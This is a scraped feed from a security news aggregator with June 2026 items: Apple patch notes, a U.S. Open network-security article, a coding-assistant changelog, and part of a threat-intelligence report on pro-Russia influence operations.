    ]]>         <![CDATA[This month in security with Tony Anscombe – June 2026 edition]]> https://tsecurity.de/de/3635962/it-security-video/this-month-in-security-with-tony-anscombe-june-2026-edition/ https://tsecurity.de/de/3635962/it-security-video/this-month-in-security-with-tony-anscombe-june-2026-edition/ Tue, 30 Jun 2026 16:47:19 +0200 🎥 IT Security Video tsecurity.de Author: ESET - Bewertung: 0x - Views:2

    It's that time of month when ESET Chief Security Evangelist Tony Anscombe (https://www.welivesecurity.com/en/our-experts/tony-anscombe/) looks back at some of the top cybersecurity stories that made the news over the past 30 or so days and considers what they may mean for your own cyber-defenses. Here's some of what caught Tony's attention in June 2026:

    • The US Cybersecurity and Infrastructure Security Agency (CISA) has issued new vulnerability patching rules (https://www.darkreading.com/cyber-risk/cisa-rewrites-federal-patching-requirements-ai-threat-era) that require federal agencies to remediate the most dangerous vulnerabilities within three days,
    • Cyberattackers are taking aim (https://www.bleepingcomputer.com/news/security/over-900-us-gas-station-tank-gauge-systems-exposed-to-attacks/) at Internet-exposed automatic tank gauge (ATG) systems in the United States, according to a warning (https://www.ic3.gov/CSA/2026/260602.pdf) by several US government agencies,
    • Americans lost $3.5 billion (https://www.bleepingcomputer.com/news/security/ftc-warns-of-record-35-billion-losses-to-imposter-scams-in-2025/) to imposter scams in 2025, with reported losses nearly tripling since 2020, according to the U.S. Federal Trade Commission (FTC),
    • The UK and Canada are planning to introduce a ban on social media (https://www.darkreading.com/cyber-risk/uk-social-media-ban-privacy-experts-worried) use by children under the age of 16.

    What lessons does the new CISA policy hold for organizations outside the agency's direct remit? What else is there to know about threats facing ATGs or, indeed, many other critical infrastructure systems? How can you stay safe from imposter fraud (https://www.welivesecurity.com/en/scams/many-faces-impersonation-fraud-spot-imposter-too-late/), and could the social media bans for children work? Learn more from Tony's video and be sure to check out the May 2026 edition (https://www.welivesecurity.com/en/videos/month-security-tony-anscombe-may-2026/) of Tony's monthly security news roundup for more insights.

    All this – and more – on https://www.welivesecurity.com/en/
    Connect with us on: https://www.facebook.com/eset, https://x.com/ESET, https://www.linkedin.com/company/eset/ and https://www.instagram.com/eset/.

    ]]>         <![CDATA[SME Cybersecurity: Lessons from ICO fines over water company cyber security failures – Report & Analysis]]> https://tsecurity.de/de/3635866/it-security-nachrichten/sme-cybersecurity-lessons-from-ico-fines-over-water-company-cyber-security-failures-report-analysis/ https://tsecurity.de/de/3635866/it-security-nachrichten/sme-cybersecurity-lessons-from-ico-fines-over-water-company-cyber-security-failures-report-analysis/ Tue, 30 Jun 2026 16:09:12 +0200 📰 IT Security Nachrichten tsecurity.de SME Cybersecurity: Lessons from ICO fines over water company cyber security failures – Report & AnalysisImage Credit: Mindandi via Magnific Image Credit: IfOnlyCommunications Latest Posts from SECURUS Communications FIREWALLS SMECYBERIINSIGHTS...

    The post SME Cybersecurity: Lessons from ICO fines over water company cyber security failures – Report & Analysis appeared first on SME Cybersecurity News | SMECYBERInsights.co.uk.

    ]]>         <![CDATA[Lessons from the Underground: How to Combat Business Email Compromise]]> https://tsecurity.de/de/3635856/it-security-nachrichten/lessons-from-the-underground-how-to-combat-business-email-compromise/ https://tsecurity.de/de/3635856/it-security-nachrichten/lessons-from-the-underground-how-to-combat-business-email-compromise/ Tue, 30 Jun 2026 16:08:59 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[v3.10.0]]> https://tsecurity.de/de/3635430/it-security-tools/v3100/ https://tsecurity.de/de/3635430/it-security-tools/v3100/ Tue, 30 Jun 2026 13:33:11 +0200 💾 IT Security Tools tsecurity.de What's Changed

    🎉 New Features

    🐞 Bug Fixes

    Other Changes

    New Contributors

    Full Changelog: v3.9.0...v3.10.0

    ]]>         <![CDATA[Apple Security Update Patches 30+ Vulnerabilities in iOS 26.5.2]]> https://tsecurity.de/de/3634865/it-security-nachrichten/apple-security-update-patches-30-vulnerabilities-in-ios-2652/ https://tsecurity.de/de/3634865/it-security-nachrichten/apple-security-update-patches-30-vulnerabilities-in-ios-2652/ Tue, 30 Jun 2026 09:53:05 +0200 📰 IT Security Nachrichten tsecurity.de Apple Security Update

    The latest Apple Security Update brings fixes for more than 30 security vulnerabilities in iOS 26.5.2 and iPadOS 26.5.2, addressing flaws across the kernel, WebKit, WebRTC, libxslt, and IOGPUFamily. Released on June 29, Apple said the update includes security fixes that were previously introduced in the iOS 26.6 and iPadOS 26.6 beta releases, strengthening protections for supported iPhone and iPad devices.

    The update is available for iPhone 11 and later, iPad Pro 12.9-inch (3rd generation and later), iPad Pro 11-inch (1st generation and later), iPad Air (3rd generation and later), iPad (8th generation and later), and iPad mini (5th generation and later).

    Apple Security Update Addresses Kernel and System-Level Vulnerabilities

    Among the most significant Apple security fixes are several kernel vulnerabilities that could allow an application to trigger unexpected system termination, write to kernel memory, leak sensitive kernel state, or corrupt kernel memory.

    Apple said these issues were resolved through improved input sanitization and input validation. The patched vulnerabilities include CVE-2026-43724, CVE-2026-43722, and CVE-2026-39868.

    The update also resolves a flaw in IOGPUFamily (CVE-2026-43743) that could allow an application to cause an unexpected system termination. Apple addressed the issue through improved state handling.

    Apple Security Update Delivers Extensive WebKit Protections

    A large portion of the update focuses on WebKit vulnerabilities, the browser engine that powers Safari and other Apple applications.

    According to Apple's advisory, the fixes address multiple security issues that could allow malicious web content to disclose sensitive user information, trigger unexpected crashes, corrupt memory, bypass browser restrictions, or enable cross-origin data exfiltration.

    The advisory also patches vulnerabilities that could allow malicious websites to process restricted web content outside the browser sandbox, disclose process memory, or leak sensitive information through permissions-related issues.

    Apple said the flaws were addressed through improved memory management, input validation, bounds checking, and stronger security origin tracking.

    Safari, WebRTC and Other Components Receive Security Fixes

    Beyond WebKit, the Apple Security Update includes fixes for vulnerabilities affecting Safari security, WebRTC, libxslt, Web Extensions, WebKit Canvas, and WebKit Storage.

    According to Apple:

    • Two libxslt vulnerabilities could cause unexpected process crashes when processing maliciously crafted web content.
    • A Web Extensions vulnerability could allow a malicious extension to trigger an unexpected process crash.
    • A WebKit Storage vulnerability could enable a malicious website to silently hijack clipboard data.
    • Multiple WebRTC vulnerabilities could lead to Safari crashes or unexpected process termination after processing malicious web content.

    Apple Credits Researchers for Reporting CVEs

    Apple acknowledged dozens of security researchers and organizations that reported the patched CVE vulnerabilities, including researchers from Positive Technologies, STAR Labs SG, DEVCORE Research Team, Talence Security, Calif.io, NVIDIA AI Red Team, Braze Security Team, Anthropic, OpenAI Codex Security, ThreatBook, and Baidu Security, among others.

    The company reiterated that it does not publicly disclose or discuss security issues until investigations have been completed and software updates have been released to customers. Apple also noted that its security advisories reference CVE identifiers whenever possible.

    The latest Apple Security Update delivers broad protections across core operating system components, reinforcing Apple's ongoing efforts to address security vulnerabilities affecting supported iPhone and iPad devices through regular software updates.

    ]]>         <![CDATA[U.S. Open powers up AI-ready network in challenging environment]]> https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/ https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/ Tue, 30 Jun 2026 05:19:51 +0200 📰 IT Security Nachrichten tsecurity.de

    Cisco’s work with the USGA at the 2026 U.S. Open at Shinnecock Hills Golf Club was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s also a blueprint that network engineers in other industries can borrow as they grapple with the convergence of connectivity, security, and AI apps.

    Golf as a worst‑case network environment

    From a distance, it’s tempting to lump golf in with stadium or arena networking. The reality on the ground is very different. Stadiums offer a fixed concrete bowl and predictable RF patterns. A U.S. Open venue is effectively rebuilt every year: temporary structures, new hospitality layouts, shifting fiber routes, and a crowd that never sits still.

    Christian Rodriguez, senior manager, IT operations, from the USGA’s technology team, captured that reality when he explained why they tear down and rebuild from scratch: No two championships share the same layout, ISP entry points, or even the placement of critical compounds. They don’t simply clone last year’s configs; they design for the specific course, topology, and constraints of that site. That level of contextual design is expensive, but it’s also the only way to avoid brittle architectures that fall apart as soon as the environment changes.

    Environmental conditions add another layer of complexity. Anthony Santora, managing director of IT for the USGA, describes the championship network as a data center without the usual comforts. There’s dust, rain, wind, and wide temperature swings instead of clean, controlled air. Hardware resides in trailers and weatherproof enclosures, not in racks behind raised floor tiles. For network engineers who spend most of their time on office campuses and in colos, that’s an important reminder: Critical infrastructure increasingly sits in places that look nothing like a traditional wiring closet.

    User behavior is just as hostile. The U.S. Open has its own term — the “Tiger effect” (though one could argue it’s now the Scottie effect) — for what happens when tens of thousands of fans follow a single golfer. The hot spot moves with the group, and the RF design must cope with a dense, moving cluster of devices. That pattern should sound familiar to anyone who supports large conferences or festivals; it’s the same phenomenon, just under a different name.

    Building an AI‑ready, fault‑tolerant course network

    Cisco’s answer to this environment is a fully redundant, mobile core design. Instead of a single large core in a building, the network collapses into dual trailers that serve as cores on the go, typically anchored at the NBC broadcast compound and another central location. Each core hosts Cisco Secure Firewall appliances, FMCs, core Catalyst switches, DHCP, UPS, and generators, all in pairs. Rodriguez was matter-of-fact about the philosophy: “We do everything in pairs as much as we can.” If one fails, its twin picks up the load.

    From those cores, the team builds a ring topology around the course, using diverse fiber paths — including trenching fiber through wooded areas — to avoid single points of failure. Mobile IDF kits in cooled cabinets serve as distribution points, delivering connectivity to weatherproof access switches and Wi-Fi access points around hospitality tents, grandstands, and entry gates. Everything on the backbone operates at Layer 3, with HSRP (Hot Standby Routing Protocol) and routing redundancy to ensure that a single switch failure doesn’t take out large swaths of the network.

    The scale of a golf course deployment is massive as well, with about 500 access points and more than 100 switches, many of them the latest Wi‑Fi 7 and campus platforms. What matters is not the absolute numbers but the duty cycle. Every TV, every POS terminal, every credential pedestal, every media workstation, and every fan device share this converged fabric during a compressed, high‑risk period. Santora points out the business impact in simple terms: If merchandise goes down for even five minutes, lines explode and fans walk away. There’s no “we’ll patch it on the next maintenance window.”

    On the RF side, the shift to Wi‑Fi 7 is more than a speed upgrade. Santora’s team has seen real-world performance improvements — hundreds of megabits down in the middle of a packed media center – but the more important change is resilience under high density. When you combine wider channels, better scheduling, and smarter management with a dense deployment, you get something that can withstand the Tiger Effect and the crush of content creators and broadcasters.

    That last group is critical. Rob Neumann from Cisco notes that at these events, upload traffic now dominates download traffic. Influencers, media teams, and fans are publishing in near-real time, and cellular uplink simply can’t keep up. High-capacity Wi-Fi with solid backhaul isn’t a luxury; it’s the only way to avoid a miserable experience for the most vocal, visible part of the audience.

    width="894" height="1024" sizes="auto, (max-width: 894px) 100vw, 894px">

    Zeus Kerravala

    Security: Treat every device as untrusted

    If the connectivity story feels familiar, the security posture at the U.S. Open is where this deployment begins to diverge from more generic “converged stadium” narratives. Santora has to contend with “thousands of untrusted devices” each championship week: fans, vendors, media, broadcasters, and staff, many of whom plug in or connect to networks the USGA doesn’t control outside the event. The USGA is well aware of the risks: outages or breaches could lead to data and financial losses, as well as reputational damage that would undermine the organization’s core mission, not just its IT metrics.

    Cisco Secure Firewall, AnyConnect, Duo, and other components form the core security stack, but how they’re used is the differentiator. Fan Wi‑Fi runs with strict isolation: every client is segmented, so lateral movement is essentially off the table. Neumann explains it simply — each fan has an isolated path out — but under the covers, you get VLAN separation, policy enforcement, and inspection that treat fan traffic as untrusted end-to-end.

    The rest of the network is equally segmented. There’s a separate network for ShotLink and everything “inside the ropes,” including scoring and betting feeds. Back-of-house traffic for staff, concessions, and retail runs on its own network. Remote POS systems are segmented again. Broadcast compounds and production systems have their own paths and policies. The result is a unified, converged physical fabric with tightly controlled logical overlays.

    This is a pattern many enterprises discuss but struggle to implement: a single platform that carries many classes of traffic, each with its own risk profile, without collapsing into a flat, lateral-friendly network. The U.S. Open shows that it’s possible — but only if segmentation is treated as a core design principle, not an afterthought.

    Observability and AI security in the loop

    Security and availability at this scale demand observability. Here again, Santora’s team is in the middle of a transition many enterprises are grappling with: moving from reactive log-scraping to proactive, correlated telemetry.

    Instead of manually combing through firewall and switch logs, the USGA and Cisco have built a pipeline into Splunk and Cisco’s observability tools. Neumann describes it as a single pane of glass across the network, but the more important point is what feeds that view: APs, switches, firewalls, cameras, and applications, all instrumented and reporting. When you combine that with full-stack observability, you can spot anomalies in real time, whether they’re performance issues or indicators of compromise.

    That observability story extends to AI. One of the headline features of the renewed Cisco–USGA partnership is the AI-powered rules assistant: an application that lets golfers and fans ask complex rules questions in the USGA app and receive near-instant guidance. Under the hood, Santora’s team started with question–answer pairs and built a knowledge graph that now spans hundreds of topics and clusters. They also built an evaluation program that identifies outliers — questions the system struggles with — and feeds them back into human review.

    Cisco AI Defense wraps the assistant with security controls. It’s not enough to get rules right; the system must resist prompt injection, data exfiltration, and other AI-specific threats that are increasingly appearing in the wild. The teams monitor usage, validate models, and protect applications at runtime against misuse or abuse. Perhaps most importantly, they keep a human override in place. If the system isn’t confident, it won’t answer; it escalates to rules experts rather than bluffing.

    This is a model network engineers should watch as AI assistants and agents proliferate across other industries. The U.S. Open rules assistant isn’t treated as a toy or a sidecar; it’s a mission-critical application that resides within the same protected fabric as POS, scoring, and broadcast and is subject to the same observability and security rigor.

    Lessons for network engineers beyond golf

    Strip away the golf-specific details, and a set of lessons emerges:

    • Design for tough, not ease. Assume transient structures, unknown RF patterns, seasonal layout changes, and harsh environmental conditions. The U.S. Open team rebuilds from scratch for each venue; most enterprises don’t need to go that far, but they should at least validate designs against real-world changes rather than assuming a static topology.
    • Make redundancy systemic. Dual cores, dual firewalls, ring topologies, HSRP, Layer 3 everywhere, spare hardware on site, and live failover drills are all part of the fabric. Redundancy isn’t a checkbox on a data sheet; it’s an operational discipline.
    • Treat every device as untrusted. Fan devices, vendor systems, broadcast laptops, and staff phones all arrive with unknown posture. Segmentation — per-client isolation, dedicated networks for sensitive functions, and strong identity — is the only sustainable way to cope with that diversity.
    • Upload is the new download. Traditional designs optimized for download traffic are increasingly misaligned with reality. Conferences, stadiums, and campuses now behave like the U.S. Open: content creators and collaborative apps push far more data than they pull. Wi-Fi 7 and modern campus platforms help, but you still need to design RF and backhaul with upload and lateral traffic in mind.
    • Integrate observability and AI security from day one. Logs alone aren’t enough. Coherent telemetry, full-stack observability, and AI-focused security controls should be treated as first-class requirements, especially as AI assistants move into business-critical workflows.

    Final thoughts

    Perhaps the most important takeaway is cultural rather than technical. Santora and his team position AI and automation as tools for scale, not as replacements for experts. The rules assistant accelerates responses and expands reach, but it still defers to human judgment when confidence is low. The network uses automation and observability to keep a complex environment running, but it still depends on experienced engineers, in trailers on-site, watching for issues and making decisions.

    For network engineers in other industries, that’s a useful template: Build AI-ready, secure, observable networks that assume the worst about their environment, and pair them with human expertise that can adapt when reality inevitably diverges from the design.

    width="1024" height="673" sizes="auto, (max-width: 1024px) 100vw, 1024px">

    Zeus Kerravala

    ]]>         <![CDATA[v2.1.196]]> https://tsecurity.de/de/3634245/downloads/v21196/ https://tsecurity.de/de/3634245/downloads/v21196/ Tue, 30 Jun 2026 01:46:34 +0200 💾 Downloads tsecurity.de What's changed
    • Added support for organization default models — admins set it in the org console; it shows as "Org default" (or "Role default") in /model when you haven't picked one yourself
    • Added readable default names for sessions at start, making them easier to identify and message
    • Added clickable file attachments in chat — Cmd/Ctrl-click reveals the file in Finder/Explorer
    • Security: claude mcp list/get no longer spawn .mcp.json servers that a repo self-approved via a committed .claude/settings.json; untrusted workspaces show ⏸ Pending approval
    • Fixed waking a background job permanently deleting its conversation and re-running the original prompt when the transcript probe misread a real transcript; the file is now set aside, never deleted
    • Fixed the rate-limit warning flickering off and rate-limit telemetry being over-counted when multiple parallel requests were in flight at the moment a usage limit was hit
    • Fixed duplicate recap lines after a background session's turn: a schema-rejected StructuredOutput attempt no longer renders alongside its retry
    • Fixed PowerShell git diff/git grep, egrep/fgrep, and quoted search patterns containing | being reported as failures when they exit 1, matching Bash behavior
    • Fixed multiple claude agents side panel issues: keyboard focus getting stuck when opening an agent, background jobs losing their subagent types on every open, and sessions showing incorrect status while actively running
    • Fixed claude agents --dangerously-skip-permissions silently falling back to auto mode instead of showing the bypass disclaimer and applying bypass mode to spawned agents
    • Fixed mid-turn crash recovery for Remote sessions — sessions interrupted by a server restart now auto-resume on the next worker
    • Fixed sessions moved with /cd reappearing in the old directory's resume list after a non-graceful exit when the old path contained special characters
    • Fixed claude plugin validate skipping local plugins whose source is "." and stopping after the first error class
    • Fixed Esc Esc at an idle prompt not opening the rewind menu (regression); use Ctrl+C or Ctrl+X Ctrl+K to stop background agents
    • Fixed MCP OAuth requesting the authorization server's full scopes_supported catalog when no scope is specified, causing invalid_scope failures on GitLab self-hosted and other enterprise IdPs
    • Fixed /context showing 0 tokens for all tool groups on Bedrock
    • Fixed /deep-research misreporting verifier failures as "all claims refuted" instead of unverified
    • Fixed plugin dependency version pins not being honored when the marketplace was added as a local folder path backed by a git repo
    • Fixed claude agents session status: completed rows no longer flip between "Done" and "Needs your input", stalled agents are now labeled "Needs attention", and results that mention a PR show a clickable link
    • Fixed voice dictation swallowing spaces and spuriously starting a recording during very fast typing when voice mode is enabled
    • Improved background session reliability: long-running commands and workflows now survive the session's process being stopped, restarted, or updated — including on Windows, where background shells are handed off instead of being killed
    • Improved background agents: workers killed by a daemon restart are now automatically resumed from where they left off the next time the agents view opens
    • Improved /code-review workflow: merged five cleanup finders into one, cutting token usage by roughly 25%
    • Reduced per-frame rendering work in the terminal UI by skipping no-op subtree walks during streaming
    • The streaming idle watchdog is now on by default for all providers — it aborts and retries when a response stream produces no events for 5 minutes. Set CLAUDE_ENABLE_STREAM_WATCHDOG=0 to disable.
    • Remote Control is now disabled when ANTHROPIC_BASE_URL points at a non-Anthropic host, matching the existing behavior under CLAUDE_CODE_USE_BEDROCK/_VERTEX/_FOUNDRY
    • Changed opening the agents view from a foreground session to require a single ← press instead of two, matching the behavior in background sessions
    ]]>         <![CDATA[Martha Lane Fox and other experts see AI arms race as damaging]]> https://tsecurity.de/de/3633278/it-nachrichten/martha-lane-fox-and-other-experts-see-ai-arms-race-as-damaging/ https://tsecurity.de/de/3633278/it-nachrichten/martha-lane-fox-and-other-experts-see-ai-arms-race-as-damaging/ Mon, 29 Jun 2026 17:19:25 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[The Bear Necessities: A Look at the Drivers, Dynamics, and Applications of the Pro-Russia Influence Ecosystem]]> https://tsecurity.de/de/3633127/it-security-nachrichten/the-bear-necessities-a-look-at-the-drivers-dynamics-and-applications-of-the-pro-russia-influence-ecosystem/ https://tsecurity.de/de/3633127/it-security-nachrichten/the-bear-necessities-a-look-at-the-drivers-dynamics-and-applications-of-the-pro-russia-influence-ecosystem/ Mon, 29 Jun 2026 16:07:54 +0200 📰 IT Security Nachrichten tsecurity.de

    Written by: James Sadowski, Alden Wahlstrom

    Introduction

    Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. Since the mobilization of this ecosystem to support frontline objectives, we have witnessed the expedited development of new influence assets linked to multiple, expansive, covert information operations (IO) campaigns and a revitalization of pro-Russia hacktivism at an unprecedented scale. While this threat activity initially adapted to encompass Ukraine-related priorities, it is gradually pivoting back to established Russian influence objectives for which the ecosystem was originally honed. This shift is significant because it likely signals increased focus outside of Ukraine, warning that pro-Russia influence activity targeting the European Union (EU), North Atlantic Treaty Organization (NATO), and other top targeting priorities may intensify. 

    Ultimately, the war in Ukraine has provided a critical feedback loop for Russia to refine its influence activity, lessons that we anticipate will be applied as the ecosystem continues to reorient toward global strategic objectives while maintaining focus on Ukraine. Further, recent pro-Russia IO indicates the continued expansion of already diverse tactics, and the increasing use of generative AI tooling for planning, research, and content creation marks a forward trend in pro-Russia IO. Meanwhile, new and different actors have adopted IO tactics to meet an increasingly diverse set of challenges, signaling growing Russian reliance on influence tactics. Together, these trends likely demonstrate the Kremlin's perception of these tactics as cost effective and successful. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, which defenders must consider to effectively mitigate pro-Russia influence threats. 

    The Ecosystem at a Glance: Objectives, Targeting, and Tactics

    Russia's modern approach to information operations is built on the conceptual foundation of Soviet-era "active measures" adapted for the digital age. Alongside disruptive cyberattacks dating back to the early 2000s, the Kremlin has increasingly harnessed internet-based platforms for espionage and information operations. Russia's approach has evolved from rudimentary, singular operations into a complex, self-sustaining environment intentionally curated by the Russian Government that blends overt, covert, and independent elements to advance Kremlin interests both at home and abroad.

    Core Influence Objectives 

    GTIG’s observations suggest the primary strategic motivations driving the pro-Russia influence ecosystem fall into five categories, each aiming to achieve military and/or political objectives through psychological manipulation of the target audience (Figure 1). Collectively, these objectives informally depict a global influence strategy: through the furthest reach of its influence, the Kremlin seeks to diminish Western primacy and advance Russia's global position; within its surrounding region, it strives to retain and return Moscow's dominance; and at home, it works to ensure the stability of the political regime.

    Core objectives of the pro-Russia influence ecosystem

    Figure 1: Core objectives of the pro-Russia influence ecosystem

    Targeting 

    Pro-Russia influence operations are pivoting from the near singular focus on Ukraine that dominated the ecosystem since 2022. We expect influence operations advancing Russia's war-specific interests to continue. However, as Russia seeks to reemerge from international isolation, we have increasingly observed a concurrent focus on pre-war pro-Russia influence objectives. 

    The current and historical targeting scope of each ecosystem component exposes both the Kremlin's global ambitions and the realistic limitations of its power projection. State-owned media organizations produce content intended to serve populations across six continents, but in recent years, sanctions and other factors have limited its production and distribution. Meanwhile, covert operations have appeared more limited in scope, primarily targeting the West and countries surrounding Russia, with intermittent operations targeting the Middle East and Africa, indicating that finite resources necessarily limit these operations (Figure 2).

    Top Regional Targets

    • The United States and Europe: The Kremlin has long viewed the West as a top adversary of Russia. Accordingly, the US and Europe are top targets of covert pro-Russia information operations, especially aimed at undermining political stability within these countries and the unity between them. NATO and the EU embody the collective "West" and are Russia's perceived top adversaries, second only to the US independently.

    • Russia's "Near Abroad": Since the dissolution of the Soviet Union, Moscow has asserted that the countries that formerly comprised part of the USSR now reside in Russia's so-called "sphere of influence." Covert influence targeting this region directly reflects Moscow's assertion that Russia is a world power entitled to special privileges within its neighborhood. 

    • The Middle East and Africa: Over the past decade, Russian efforts to reassert itself as a global power have included high-profile investments in cultivating Russia's standing in the Middle East and Africa. Covert pro-Russia influence activity is likely deployed in tandem as intended support for other Russian initiatives in these regions.  

    • Russia Domestic: Internally targeted covert IO is a well-established component of pro-Russia influence activity, deployed by regime-aligned actors to promote Kremlin policies and repress opposition voices. 

    Targeted Entities and Global Events

    • The Olympics: Russia has long viewed Olympic participation as a point of national prestige, and GTIG has observed notable Russian influence activity targeting the Olympics in the face of Russian participation bans. 

    • War in Ukraine: The war in Ukraine has been a key driver of Russia's influence activity, including attempts to influence events on the ground as well as influence activity intended to advance Moscow's interests elsewhere vis-a-vis the war. GTIG expects that Ukraine will remain a priority in Russia's targeting calculus during the post-conflict phase following any future peace agreements.

    • Elections: Election targeting aligns with multiple Russian influence objectives, including attempting to undermine confidence in democratic institutions as well as internally weakening perceived Western adversaries. These operations regularly target elections in countries that are already prioritized by ongoing pro-Russia influence activity. 

    • Ad Hoc Geopolitical Flashpoints and Global Events: Russian influence actors have a history of pivoting activity to engage with emerging geopolitical developments and events, such as the COVID-19 pandemic or the 2026 Middle East conflict. This flexible target selection often overlaps or is aligned with other Russian priorities, making previously observed Russian influence activity helpful in anticipating which events may be appropriated.

    Priority targets of the ecosystem

    Figure 2: Priority targets of the ecosystem

    Tactics 

    Converging geopolitical and technological developments make the evolution of pro-Russia influence tactics a particularly important space to monitor right now. The pro-Russia influence ecosystem expanded to support the war effort, bringing change across the spectrum of activity and providing operators the opportunity to hone their tactics, techniques, and procedures (TTPs) in the rapid feedback loop of war. Meanwhile, the emergence and increased democratization of generative AI tooling has brought both promised and already realized opportunities to support all phases of the IO lifecycle. The following are a sample of key tactics that illustrate how pro-Russia actors currently blend well-tested methods with new technological developments to reach audiences through diverse means:

    • Generative AI: GTIG has observed pro-Russia influence actors increasingly leverage AI tooling to support different stages of their operations, including support for planning and general research as well as content creation.

      • Google Threat Intelligence Group (GTIG) is closely tracking the transition from nascent AI-enabled operations to the maturing, industrial-scale application of generative models within adversarial workflows across threats ranging from espionage and crime to IO. Please see our latest AI threat tracker for more information on how this threat is developing based on our insights, and what Google is doing to protect our customers. 

    • Narrative Resonance: Hijacking existing ideological and emotional fissures within a society provides pro-Russia influence actors tailored narratives to target audiences and potentially increases potential engagement and impact. 

    • Cyber-Enabled IO: Influence campaigns frequently coincide with destructive cyberattacks, such as the deployment of wiper malware alongside website defacements containing false surrender messages, or the historic use of "hack and leak" campaigns in which exfiltrated data, sometimes manipulated, is then publicized through an actor-controlled false persona. In some instances, Russian actors may even leverage direct cyber espionage targeting as a way to achieve psychological effects, intending to influence victims' behavior through intimidation.

    • Media Mimicry: Pro-Russia actors have attempted to mimic legitimate media at scale and through a variety of means, including via the wholesale appropriation of legitimate media brands or developing inauthentic media brands that generally masquerade as independent news sources. These tactics are intended to add a veneer of legitimacy to the promoted narratives. 

    • Direct Dissemination: Pro-Russia influence actors have used closed communication channels, such as emails, SMS text messages, and messenger apps, to disseminate various types of pro-Russia narratives as an adjunct to or outside typical social media-focused operations. 

    Core Ecosystem Components 

    The current pro-Russia influence ecosystem operates across a spectrum from official government communications to deniable covert actions conducted by intelligence services and "patriotic" proxies. GTIG identified six core components that represent key activity types (Figure 3). While many elements are state-directed or state-affiliated, the ecosystem is also a cultivated, self-sustaining system: various actors, often without explicit direction, amplify Kremlin-friendly narratives and pursue actions that advance Russia's strategic interests. This fluidity provides resilience and complicates attribution, mirroring the longstanding Kremlin strategy to co-opt non-state actors, including criminal networks for finance or illicit logistics, to achieve state objectives without direct attribution. Although each of the core ecosystem components serves as a unique lever the Russian Government can employ to achieve desired objectives, they are regularly used together. For instance, while the entire pro-Russia hacktivist landscape is not state-sponsored, the Russian intelligence services have used both genuine and fabricated hacktivist personas to launder stolen data as part of blended cyber espionage and IO hybrid operations.

    Core components of the pro-Russia influence ecosystem

    Figure 3: Core components of the pro-Russia influence ecosystem

    An Interconnected Ecosystem Enhances Influence Utility

    Figure 4 illustrates the complex, interconnected nature of the pro-Russia influence ecosystem by mapping relationships between a selection of key actors and organizations across five of the core components. The ecosystem functions as a cohesive unit, not only through shared objectives, but also through direct cross-component interactions. The Russian Government functions as the sixth core ecosystem component, setting the policy and talking points that inform the ecosystem’s promoted narratives and sponsoring overt and covert assets throughout the other five components diagrammed in Figure 4. Through these levers, the Kremlin fosters the cross-component links that underpin the ecosystem, enhancing its overall utility as a versatile tool of state influence.

    Subset of actors that illustrate how different components of the ecosystem interact with each other

    Figure 4: Subset of actors that illustrate how different components of the ecosystem interact with each other

    10 Key Dynamics for Understanding the Pro-Russia Influence Ecosystem

    The scope and diversity of activity in the pro-Russia influence ecosystem challenges defenders tasked with enumerating, tracking, and countering its threats. GTIG has distilled 10 key ecosystem dynamics based on our current understanding of its components and how they each enable covert influence activity. These dynamics frame critical aspects of how activity manifests within the ecosystem, providing a high-level guide to understand and track these threats.

    Large-scale IO campaigns are an integral element of the pro-Russia influence ecosystem. Major pro-Russia IO campaigns have been an enduring feature of the pro-Russia ecosystem, with new campaigns emerging as previous ones fall into inactivity. Maintaining extensive IO campaigns and their associated established influence infrastructure enables proactive messaging on strategic issues and underpins a capability that can be rapidly adapted for emerging domestic and global priorities.

    • Long-established IO campaigns, like Secondary Infektion, pivoted to meet new strategic needs as Russia’s 2022 invasion of Ukraine began. New IO campaigns, such as “Operation Overload,” subsequently emerged to support the war effort; while Secondary Infektion has become dormant, these “successor” campaigns have since been leveraged to advance other global Russian influence objectives beyond the war itself. 

    Pro-Russia actors often prioritize persistence and the range of tactics they leverage reflects this. In the face of public exposure and disruption, pro-Russia actors and their infrastructure have often remained persistent, sometimes making tactical adjustments to mitigate the effects of detection and disruption and other times continuing operations unabated. 

    • These persistence tactics include the Doppelganger campaign and overt Russian media’s respective cycling of domain infrastructure and/or use of mirror domains to overcome exposure, platform bans and sanctions. Influence operators also frequently continue using compromised assets, sometimes mocking their exposure, as seen with the legacy US-targeted NAEBC campaign and the APT44-affiliated hacktivist persona XakNet Team.

    NAEBC-linked persona account

    Figure 5: NAEBC-linked persona account mocking public exposure of influence assets (left), and GRU-sponsored XakNet Team persona mocking then-Mandiant (now part of Google Threat Intelligence Group) attribution of the group’s activities to the GRU (right)

    Pro-Russia and Russian cyber espionage groups leverage IO tactics to support their operations and weaponize stolen data and/or illicit access. While less frequent, this hybrid activity is a critical dynamic within the pro-Russia influence ecosystem. GTIG has previously observed operations used to shape narratives around cyberattacks and influence events on the ground and to conduct foreign political interference, including the repeated targeting of foreign elections, reported in Spring 2024. We have attributed some observed instances of this to Russian government-sponsored threat actors.

    • Russian state sponsored or pro-Russia hacktivist groups have long relied on public advertisement of real or claimed data exfiltration to highlight their operations, intimidate targets, or sway public opinion. In 2022, UNC4057 (COLDRIVER) used data stolen from espionage targets in a high profile hack-and-leak operation seeking to exacerbate divisions in UK politics. More recently, the self-proclaimed hacktivist group PalachPro claimed in February 2026 to have gained unauthorized access to a Ukrainian government online portal and publicly posted screenshots of the claimed compromise. The Ukrainian government has previously noted that the portal does not store the type of data the threat actor claimed to compromise, suggesting the public posting was likely intended as influence activity, attempting to create the illusion of a more serious threat.

    UNC4057 leak website attempting to inflame public debate

    Figure 6: UNC4057 leak website attempting to inflame public debate

    Pro-Russia hacktivists serve a direct influence function. Modern pro-Russia hacktivism has evolved into an important component of the influence ecosystem that blends state-backed actors leveraging hacktivist tactics with an evolving cohort of likely third-party hacktivist actors that support Russia's geopolitical interests. Pro-Russia hacktivist groups gain domestic and foreign attention for strategic messaging via their claimed threat activity, amplify narratives directly seeded in overt ecosystem segments, and at times also support traditional IO activity or create a means of plausible deniability for state-sponsored espionage actors. 

